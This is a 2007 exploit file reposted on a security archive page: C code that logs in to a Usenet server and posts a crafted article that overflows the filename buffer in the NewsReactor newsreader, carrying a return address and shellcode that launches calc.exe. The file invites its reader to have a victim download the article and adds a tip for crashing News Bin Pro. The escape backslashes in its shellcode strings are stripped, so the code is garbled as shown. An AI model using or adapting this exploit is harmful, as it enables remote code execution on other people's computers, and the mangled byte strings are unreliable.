Home / os / solaris

newsreactor-2.txt

Posted on 20 March 2007

/********************************************************************************* * NewsReactor 20070220 Article Grabbing Remote Buffer Overflow * * Exploit 2 * * * * * * Check the other advisory for technical details. * * * * This exploit connects to your newsgroups provider and posts a crafted article. * * * * Ask your victim to grab it to trigger the bug and execute calc.exe. * * Return address should work on XP SP2 FR. * * Should fail on english systems cause I took the first return address I got =D. * * Have Fun! * * * * Tested against WIN XP SP2 FR * * Coded and Discovered by Marsu <Marsupilamipowa@hotmail.fr> * * * * Note: change evilbuff to crash News Bin Pro 4.32. 800 'A' should be enough. * *********************************************************************************/ #include "winsock2.h" #include "stdio.h" #include "stdlib.h" #pragma comment(lib, "ws2_32.lib") /* win32_exec - EXITFUNC=process CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com */ /* 0x00 0x0b 0x0c 0x0a 0x0d 0x0e 0x0f 0x09 0x20 0x22 0x7C */ char calcshellcode[] = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49" "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36" "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34" "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41" "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44" "x42x30x42x50x42x30x4bx48x45x34x4ex53x4bx58x4ex37" "x45x50x4ax57x41x50x4fx4ex4bx48x4fx34x4ax51x4bx48" "x4fx55x42x52x41x50x4bx4ex49x54x4bx38x46x53x4bx58" "x41x50x50x4ex41x33x42x4cx49x49x4ex4ax46x58x42x4c" "x46x37x47x30x41x4cx4cx4cx4dx30x41x50x44x4cx4bx4e" "x46x4fx4bx53x46x35x46x42x46x30x45x57x45x4ex4bx58" "x4fx45x46x52x41x50x4bx4ex48x36x4bx58x4ex50x4bx44" "x4bx48x4fx55x4ex51x41x50x4bx4ex4bx48x4ex51x4bx48" "x41x50x4bx4ex49x48x4ex45x46x52x46x50x43x4cx41x43" "x42x4cx46x56x4bx48x42x34x42x53x45x48x42x4cx4ax47" "x4ex30x4bx48x42x54x4ex30x4bx58x42x37x4ex51x4dx4a" "x4bx38x4ax46x4ax50x4bx4ex49x30x4bx48x42x48x42x4b" "x42x30x42x50x42x30x4bx48x4ax56x4ex53x4fx35x41x53" "x48x4fx42x46x48x35x49x58x4ax4fx43x48x42x4cx4bx37" "x42x35x4ax56x50x47x4ax4dx44x4ex43x57x4ax56x4ax59" "x50x4fx4cx58x50x50x47x45x4fx4fx47x4ex43x56x41x56" "x4ex56x43x36x50x42x45x56x4ax47x45x36x42x30x5a"; int main(int argc, char* argv[]) { struct hostent *he; struct sockaddr_in sock_addr; WSADATA wsa; int nntpsock; char recvbuff[500]; char buffer[100]; char authuser[]="AUTHINFO USER %s "; char authpass[]="AUTHINFO PASS %s "; char evilbuff[10000]; char *user=0,*pass=0,*subject,*group,*author; int i=2; WSACleanup(); WSAStartup(MAKEWORD(2,0),&wsa); if (argc<5) { printf("[+] NewsReactor Article Grabbing Remote Buffer Overflow "); printf("[+] Coded and Discovered by Marsu <Marsupilamipowa@hotmail.fr> "); printf("[+] Usage: %s Newsserver [-u User] [-p Pass] Group Subject Author ",argv[0]); printf("[+] example: %s news.giganews.com -i user -p pass alt.binaries.dvdr boomboom superman ",argv[0]); return 0; } if (strstr(argv[i],"-u")) { i++; user=argv[i]; i++; } if (strstr(argv[i],"-p")) { i++; pass=argv[i]; i++; } group=argv[i++]; subject=argv[i++]; author=argv[i]; printf("%s %s %s ",group,subject,author); if ((he=gethostbyname(argv[1])) == NULL) { printf("Failed [-] Could not init gethostbyname "); return 1; } if ((nntpsock = socket(PF_INET, SOCK_STREAM, 0)) == -1) { printf("Failed [-] Socket error "); return 1; } sock_addr.sin_family = PF_INET; sock_addr.sin_port = htons(119); sock_addr.sin_addr = *((struct in_addr *)he->h_addr); memset(&(sock_addr.sin_zero), '', 8); if (connect(nntpsock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) { printf("[-] Unable to connect "); return 1; } printf("[+] Connected to %s ",argv[1]); memset(recvbuff,'',500); recv(nntpsock, recvbuff, 500, 0); printf("-> %s",recvbuff); if (user!=0) { memset(buffer,0,100); sprintf(buffer,authuser,user); send(nntpsock,buffer,strlen(buffer),0); printf("[+] USER %s ",user); memset(recvbuff,'',500); recv(nntpsock, recvbuff, 500, 0); printf("-> %s",recvbuff); } if (pass!=0) { memset(buffer,0,100); sprintf(buffer,authpass,pass); send(nntpsock,buffer,strlen(buffer),0); printf("[+] PASS %s ",pass); memset(recvbuff,'',500); recv(nntpsock, recvbuff, 500, 0); printf("-> %s",recvbuff); } send(nntpsock,"MODE READER ",strlen("MODE READER "),0); printf("[+] MODE READER "); memset(recvbuff,'',500); recv(nntpsock, recvbuff, 500, 0); printf("-> %s",recvbuff); send(nntpsock,"POST ",strlen("POST "),0); printf("[+] POST "); memset(recvbuff,'',500); recv(nntpsock, recvbuff, 500, 0); printf("-> %s",recvbuff); char header[]= "From: %s <%s@blabla.com> " "Newsgroups: %s " "Subject: %s (1/1) " "X-Newsreader: blabla "; char fileheader[]="=ybegin part=1 line=128 size=127 name=" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAA" "xD6xE6xE3x77" //jmp EDI in advapi32.dll XP SP2 FR. "xD6xE6xE3x77" //ugly but we don't know where we land... "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "xD6xE6xE3x77" "AAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAA"; char file[]="=ypart begin=1 end=127 " //encoded file. Doesnt matter but works! "vkJmyvvsxoJkJno}J..J\74n.ncJ.Q......7474....JWJ[X]]J........J^Y]74..JWJk.....J\XZVJ.....J\XZ74}..J....JdJp..... "; char fileend[]="=yend size=127 part=1 pcrc32=d4f19f0f "; char postend[]=" . "; memset(evilbuff,0,10000); sprintf(evilbuff,header,author,author,group,subject); printf("[+] Message header: %s",evilbuff); send(nntpsock,evilbuff,strlen(evilbuff),0); Sleep(100); memset(evilbuff,0,10000); memcpy(evilbuff,fileheader,strlen(fileheader)); memcpy(evilbuff+strlen(fileheader),calcshellcode,strlen(calcshellcode)); memcpy(evilbuff+strlen(fileheader)+strlen(calcshellcode)," ",3); send(nntpsock,evilbuff,strlen(evilbuff),0); Sleep(100); send(nntpsock,file,strlen(file),0); Sleep(100); send(nntpsock,fileend,strlen(fileend),0); Sleep(100); send(nntpsock,postend,strlen(postend),0); Sleep(100); memset(recvbuff,'',500); recv(nntpsock, recvbuff, 500, 0); printf("-> %s",recvbuff); printf("[+] Article posted. Have fun "); Sleep(1000); return 0; }

 

TOP